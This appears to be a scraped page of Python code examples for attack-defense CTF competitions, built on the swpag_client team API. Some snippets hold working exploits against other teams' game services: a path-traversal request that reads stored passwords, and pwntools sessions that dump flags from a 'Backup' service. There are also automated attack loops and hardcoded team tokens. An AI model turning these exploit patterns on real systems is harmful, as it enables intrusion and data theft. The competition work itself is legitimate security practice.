Пример #1
0
    print '[' + str(datetime.datetime.now().time()) + ']: ' + x


def usage():
    print "TODO: Enter our own host IP in this script!"
    print "python submit.py <http://team_interface> <flag_token> <service_name>"
    print "The actual exploit script should take parameters like as follows: "
    print "python <service_name>.py <hostname> <port> <flag_id>"
    sys.exit(1)


if len(sys.argv) < 4:
    usage()

# Create connection
t = Team(sys.argv[1], sys.argv[2])

# Get service ID and ports
services = t.get_service_list()
service_id, service_port = 0, 0
for service in services:
    if service['service_name'] == sys.argv[3]:
        service_id = service['service_id']
        service_port = service['port']
        break

log("Service ID  : " + str(service_id))
log("Service Port: " + str(service_port))

# Sanity check the target ports
targets = t.get_targets(service_id)
Пример #2
0
import json
import requests
from swpag_client import Team

team = Team('http://34.211.129.130', 'WOfdkzdhsZEIlPEIai49')

targets = team.get_targets(2)
flags = []
for target in targets:
    print(target)
    url = f'http://{target["hostname"]}:{target["port"]}/?page=../append/{target["flag_id"]}.json'
    print(f'request url: {url}')
    resp = requests.get(url)
    print(f'response: {resp.text}')
    if "password" in resp.text:
        try:
            content = json.loads(resp.text)
            print(f'content: {content}')
            flags.append(content['password'])
            team.submit_flag([content['message']])
        except Exception as e:
            print('some error occurred')
Пример #3
0
from swpag_client import Team
from pprint import pprint

t = Team("http://api.ictf2019.net/", "lVTU84h3IsWsv5Qa48Wv")
pprint(t.get_service_list())

with open('services.txt', 'w') as fout:
	pprint(t.get_service_list(), fout)
Пример #4
0
class ProjectCTFAPI():

	# This is just a simple wrapper class
	# See client.py for more methods supported by self.team

	__slots__ = ('team', 'debug')

	"""
		The Team class is your entrypoint into the API
	"""
	def __init__(self):
		self.debug = False
		self.team = Team(gameIp, teamToken)

	"""
		This returns all of the service ids in the game
	"""
	def getServices(self):

		ids = []
		services = self.team.get_service_list()

		if self.debug:
			print("~" * 5 + " Service List " + "~" * 5)
		
		for s in services:
			ids.append(s['service_id'])

			if self.debug:

				print("Service %s: %s\n\t'%s'" % (s['service_id'], s['service_name'], s['description']))

		return ids
					
	"""
		This returns a list of targets (ports, ips, flag ids) for the given service id
	"""
	def getTargets(self, service):
		
		targets = self.team.get_targets(service)
		
		if self.debug:
			print("~" * 5 + " Targets for service %s " % service + "~" * 5)
			
			for t in targets:
				
				for key in ['hostname','port','flag_id', 'team_name']:
			
					print("%10s : %s" % (key, t[key]))
				print("\n")
			
		return targets
	
	"""
		Submit an individual flag "FLGxxxxxxxx" or list of flags ["FLGxxxxxxxxx", "FLGyyyyyyyy", ...]
	"""
	def submitFlag(self, oneOrMoreFlags):
		
		if not isinstance(oneOrMoreFlags, list):
			oneOrMoreFlags = [oneOrMoreFlags]
			
		status = self.team.submit_flag(oneOrMoreFlags)
		
		if self.debug:
			for i, s in enumerate(status):
				print("Flag %s submission status: %s" % (oneOrMoreFlags[i], s))
		
		return status
Пример #5
0
class ProjectCTFAPI():

    # This is just a simple wrapper class
    # See client.py for more methods supported by self.team

    __slots__ = ('team', 'debug')
    """
		The Team class is your entrypoint into the API
	"""
    def __init__(self, gameIp, teamToken):
        self.debug = False
        self.team = Team(gameIp, teamToken)

    """
		This returns all of the service ids in the game
	"""

    def getServices(self):

        ids = []
        services = self.team.get_service_list()

        if self.debug:
            print("~" * 5 + " Service List " + "~" * 5)

        for s in services:
            ids.append(s['service_id'])

            if self.debug:

                print("Service %s: %s\n\t'%s'" %
                      (s['service_id'], s['service_name'], s['description']))

        return ids

    """
		This returns a list of targets (ports, ips, flag ids) for the given service id
	"""

    def getTargets(self, service):

        targets = self.team.get_targets(service)

        if self.debug:
            print("~" * 5 + " Targets for service %s " % service + "~" * 5)

            for t in targets:

                for key in ['hostname', 'port', 'flag_id', 'team_name']:

                    print("%10s : %s" % (key, t[key]))
                print("\n")

        return targets

    """
		Submit an individual flag "FLGxxxxxxxx" or list of flags ["FLGxxxxxxxxx", "FLGyyyyyyyy", ...]
	"""

    def submitFlag(self, oneOrMoreFlags):

        if not isinstance(oneOrMoreFlags, list):
            oneOrMoreFlags = [oneOrMoreFlags]

        status = self.team.submit_flag(oneOrMoreFlags)

        if self.debug:
            for i, s in enumerate(status):
                print("Flag %s submission status: %s" % (oneOrMoreFlags[i], s))

        return status

    def getFLG(self, hostname, flagID):
        # Please change port id accordingly
        r = remote(hostname, 20003)

        #below is the exploit of Backup service of CTF3
        # Please change the exploit interaction accordingly
        r.sendline('2')
        r.sendline(flagID)
        r.sendline('*')

        # Receive data from victim service
        # Use python regular expression to search flag
        rl = r.recvall(timeout=1)
        m = re.search('FLG[0-9A-Za-z]{13}', rl)
        # If no flag (service is patched), then close the remote connection and return none
        if m == None:
            r.close()
            return None

        # If find flag, print it, close the connection and send the flag back to main.
        FLG = m.group(0)
        print FLG
        r.close()
        return FLG
Пример #6
0
class PCTFAPI():

    __slots__ = ('team')

    def __init__(self, game_url, team_token):
        self.team = Team(game_url, team_token)

    def getServiceNames(self):

        service_ids = []
        services = self.team.get_service_list()

        for service in services:
            service_ids.append(service['service_id'])

        return service_ids

    def getTargets(self, service):
        targets = self.team.get_targets(service)
        return targets

    def getFLG(self, hostname, flagID):
        try:
            r = remote(hostname, 10001)
        except:
            print(hostname + ' is down ')
            return None

        r.sendline('2')
        r.sendline(flagID)
        r.sendline('*')

        rl = r.recvall(timeout=1)
        decoded_str = ''
        try:
            decoded_str = rl.decode('utf-8')
            print(decoded_str)
        except:
            print('bad response')
            return None
        m = re.search('FLG[0-9A-Za-z]{13}', decoded_str)
        if m == None:
            r.close()
            return None

        FLG = m.group(0)
        print('captured the flag')
        print(FLG)
        r.close()
        return FLG

    def submitFlag(self, flags):
        if not isinstance(flags, list):
            flags = [flags]

        status = self.team.submit_flag(flags)

        for i, s in enumerate(status):
            print("Flag %s submission status: %s" % (flags[i], s))

        return status
Пример #7
0
 def __init__(self, game_url, team_token):
     self.team = Team(game_url, team_token)
Пример #8
0
# 1after909
def attack_svc7(flag_id):
    print("running attack on service 7, flag id:", flag_id)
    flag = ""
    return flag


# NOTE: update this whitelist for the attack functions above.
# So we don't waste time executing stuff that's not done.
implemented_attack_functions = {2}

attack_functions = [
    None, attack_svc1, attack_svc2, attack_svc3, attack_svc4, attack_svc5,
    attack_svc6, attack_svc7
]
team = Team("http://52.53.64.114", "C3U6ooCuCLGoTgzOqoO3")
services = team.get_service_list()
service_flag_ids = dict()

while True:
    for service in services:
        if service['service_id'] not in implemented_attack_functions:
            print("skipping service", service['service_id'],
                  ", attack function not implemented")
            continue
        print("Going to attack", service['service_name'])
        if service['service_name'] not in service_flag_ids:
            service_flag_ids[service['service_name']] = set()
        targets = team.get_targets(service['service_id'])
        for target in targets:
            flag_id = target['flag_id']
Пример #9
0
# This code was written 10 hours before the competition, yikes
# Any bugs are your problem

import socks  # pip install PySocks
import socket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 4444)
socket.socket = socks.socksocket

from pwn import *  # pip install pwntools
from swpag_client import Team  # pip install swpag_client
import time
import traceback
import json
import sys

team = Team(None, "xxxxxxxxxxxxxxxxxxx")


def team_ip(team_host):
    # 172.31.129.1 (team1) ... 172.31.129.254 (team254) ... 172.31.130.1 (team255) ...
    team_number = int(team_host[4:])
    minor = ((team_number - 1) % 254) + 1
    major = (team_number / 255) + 129
    return '172.31.{major}.{minor}'.format(major=major, minor=minor)


services = team.get_service_list()

service_flag_ids = dict()

while True:
Пример #10
0
NO_SUCH_FLAG        = "incorrect"
OWN_FLAG            = "ownflag"
ALREADY_SUBMITTED   = "alreadysubmitted"
ACCEPTED            = "correct"
TOO_MANY_INCORRECT  = "toomanyincorrect"
NOT_ACTIVE          = "notactive"

# Delays and timeouts
REQUEST_TIMEOUT     = 5 # HTTP Request timeouts (in seconds)
RECONNECT_DELAY     = 3 # Delay before attempting a new connection (in seconds)

# Miscellaneous
EXPLOIT_FOLDER      = "exploits"

# iCTF API
team = Team(SUBMISSION_URL, X_TEAM_TOKEN)

def is_valid_flag(flag):
    """
    Checks if a string matches the flag format
    """
    return True

def remove_invalid_flags(flags):
    """
    Takes a list of flags and removes flags with an invalid format
    Returns a list of valid flags (format-wise)
    """

    # Validate flag format
    filtered_flags = [flag for flag in flags if is_valid_flag(flag)]
Пример #11
0
from swpag_client import Team
from pprint import pprint

t = Team("http://api.ictf2019.net/", "lVTU84h3IsWsv5Qa48Wv")
pprint(t.get_team_status())
pprint(t.get_game_status())
Пример #12
0
 def validate_flag(self,args):
     t = Team(None, "API_KEY")
     return t.submit_flag([args['flag']])
Пример #13
0
	
	for service in services:
		service_ids.append(service['service_id'])

	return service_ids


if __name__ == '__main__':

	# insert information: game_url, team_token, team_id
	game_url = "http://34.211.129.130"
	team_token = "WOfdkzdhsZEIlPEIai49"
	team_id = "9"

	#create team object
	team = Team(game_url, team_token)

	game_status = team.get_game_status()
	service_ids = get_service_ids(team)

	while True:

		for id in service_ids:
			id_string = str(id)
			service_state = game_status['service_states'][team_id][id_string]['service_state']
			message = "TeamId: " + team_id + ", service_id: " + id_string + ", state: " + service_state
			print(message)
			# service_state can be "untested", "up", "down"
			if service_state == "down":
				print("Need recovery")
				backup_file_path = backup_map.get(id)
Пример #14
0
from swpag_client import Team

t = Team("http://api.ictf2019.net/", "lVTU84h3IsWsv5Qa48Wv")
vm_info = t.get_vm()
print(vm_info.keys())
print(vm_info['ctf_key'])
print(vm_info['ip'])
print(vm_info['team_id'])
Пример #15
0
from swpag_client import Team

t = Team("http://actf1.cse545.rev.fish/", "C8u0EDLS7oRLndF1u2TczzMgdDWQvtOS")
game_stat = t.get_game_status()
exp_srv = game_stat['exploited_services']
teams = t.get_team_list()
t_status = t.get_team_status()
tick_info = t.get_tick_info()
time_to_tick = tick_info['approximate_seconds_left']

#print(t.get_game_status())
services = t.get_service_list()
for service in services:
    print(service["service_id"])
    targets = t.get_targets(service["service_id"])
    for target in targets:
        print str(target)
Пример #16
0
from Exploit_2 import Exploit2
from Exploit_3 import Exploit3
from Exploit_4 import Exploit4
import random
import threading
import time
from swpag_client import Team

debug = True
debug_chaff = False
round_time_in_seconds = 10
chaff_to_real_ratio = 3
args_dict = {}

# Connection to team Interfcae using swpag_client
team = Team('http://34.211.129.130', "WOfdkzdhsZEIlPEIai49")


# Submit flag
def submit_flag(name, flag):
    status = team.submit_flag(flag)
    for i, s in enumerate(status):
        print("Flag %s submission status: %s" % (flag, s))


# launch 1 exploit and 3 chaff
def launch_exploit(Exploit, ip, port, flagId, name, debug, debug_chaff):
    new_exploit = Exploit(ip, port, flagId, name, debug, debug_chaff)
    chaff_array = [False] * chaff_to_real_ratio
    chaff_array.append(True)
    random.shuffle(chaff_array)
Пример #17
0
import sys
import os
import time
import os.path
from swpag_client import Team
from shutil import move

if len(sys.argv) != 3:
    sys.exit("Please pass correct number of arguments. TEAM(IP(ARG1), FLAG_TOKEN(ARG2))")

t = Team(sys.argv[1], sys.argv[2])


def submitStub(flags):
    list = []
    for flag in flags:
        if flag in ['flagNAME69', 'flagNAME2']:
            list.append('correct')
    return list


def submitFlags(flags):
    correct = 0
    flagResponse = []
    try:
        print(flags)
        flagResponse = t.submit_flag(flags)
        # flagResponse = submitStub(flags)
    except Exception:
        print ("Error submitting flags.")
    for response in flagResponse:
Пример #18
0
#!/usr/bin/env python2

# This code was written 10 hours before the competition, yikes
# Any bugs are your problem

import socks # pip install PySocks
import socket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 4444)
socket.socket = socks.socksocket

from pwn import * # pip install pwntools
from swpag_client import Team # pip install swpag_client
import time

team = Team(None, "LtwpQ0sqDdYD5520beooZ2WhSeyyb69G")

def team_ip(team_host):
    # 172.31.129.1 (team1) ... 172.31.129.254 (team254) ... 172.31.130.1 (team255) ...
    team_number = int(team_host[4:])
    minor = ((team_number - 1) % 254) + 1
    major = (team_number / 255) + 129
    return '172.31.{major}.{minor}'.format(major=major, minor=minor)

services = team.get_service_list()

service_flag_ids = dict()

while True:
    for service in services:
        print("Going to attack", service['service_name'])
        if service['service_name'] not in service_flag_ids:
Пример #19
0
            break
        flag += c
        print(c, end="", flush=True)
    print()
    return flag


#print("A:xpath", postbox1("https://ctf545.skizzerz.net", 443, "flag_asdfghjkl", path="/postbox"))
#print("A:adminpw", postbox2("https://ctf545.skizzerz.net", 443, "flag_asdfghjkl"))
#print("A:timing", postbox3("https://ctf545.skizzerz.net", 443, "flag_asdfghjkl"))
#print("B:sql", pizza2("https://ctf545.skizzerz.net", 443, 1, path="/pizza"))
#sys.exit(0)

svcmap = {10001: [postbox1, postbox2, postbox3], 10002: [pizza1, pizza2]}

team = Team(team_url, team_password)

#cli = SSHClient()
#cli.load_system_host_keys()
#cli.set_missing_host_key_policy(paramiko.AutoAddPolicy)
#cli.connect(ssh_ip, port=ssh_port, username=ssh_user, key_filename=ssh_keypath)

prevtick = 0
services = team.get_service_list()
while True:
    tick = team.get_tick_info()
    if tick["tick_id"] > prevtick:
        wait = True
        if prevtick == 0:
            wait = False
        prevtick = tick["tick_id"]
Пример #20
0
#!/usr/bin/env python2

# This code was written 10 hours before the competition, yikes
# Any bugs are your problem

import socks  # pip install PySocks
import socket
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 4444)
socket.socket = socks.socksocket

from pwn import *  # pip install pwntools
from swpag_client import Team  # pip install swpag_client
import time

team = Team(None, "TEAM_KEY")


def team_ip(team_host):
    # 172.31.129.1 (team1) ... 172.31.129.254 (team254) ... 172.31.130.1 (team255) ...
    team_number = int(team_host[4:])
    minor = ((team_number - 1) % 254) + 1
    major = (team_number / 255) + 129
    return '172.31.{major}.{minor}'.format(major=major, minor=minor)


services = team.get_service_list()

service_flag_ids = dict()

while True:
    for service in services:
Пример #21
0
	def __init__(self):
		self.debug = False
		self.team = Team(gameIp, teamToken)
Пример #22
0
from swpag_client import Team

t = Team("http://teaminterface.ictf.love/", "W7PMqeQCuYjVeL03UnV3")

flags = ['FLGxxxxxxxxxxxxx']

print(t.submit_flag(flags))
Пример #23
0
from swpag_client import Team
import sys
from time import sleep
import subprocess

TICK = 30
MAX_SIZE = 100
exploit = sys.argv[2]
service = sys.argv[1]

t = Team("http://teaminterface.ictf.love/", "g7iCTu9Gt6pj1DCG4XwP")
services = t.get_service_list()
print(services)
if service not in services:
    raise Exception("Check service name")

while True:
    targets = ["diocane"]
    targets = t.get_targets(service)
    for target in targets:
        flags = subprocess.check_output([exploit,
                                         target]).decode("utf-8").split("\n")
        if len(flags) > MAX_SIZE:
            list_of_flags = [flags[:MAX_SIZE], flags[MAX_SIZE:]]
        else:
            list_of_flags = [flags]
        print(list_of_flags)
        for max_flags in list_of_flags:
            t.submit_flags(max_flags)
Пример #24
0
from collections import Counter
import re
import json
from os.path import abspath, basename, dirname, join
from multiprocessing import Pool

NUM_TEAMS = 30

game_config_path = abspath(join(dirname(__file__), '..', '..', '..', 'game_config.json'))
with open(game_config_path, 'r') as f:
    game_config = json.load(f)

team_name = sys.argv[1] if len(sys.argv) > 1 else 'Shellphish'
team_tokens = {t['name']: t['flag_token'] for t in game_config['teams']}
team_token = team_tokens[team_name]
t = Team('http://52.53.64.114/', team_token)

SUBMITTED_FLAGS = {i: set() for i in range(NUM_TEAMS)}


def do_submit(team_id):
    with open('/tmp/flags_{}'.format(team_id), 'rb') as f:
        s = f.read()
    flags = re.findall(b'FLG.{13}', s)
    flags = [f.decode() for f in flags]
    flags = [f for f in flags if f not in SUBMITTED_FLAGS[team_id]]
    len_non_unique = len(flags)
    flags = list(set(flags))
    print("Unique: {}/{}".format(len(flags), len_non_unique))
    results = []
    for i in range(0, len(flags), 20):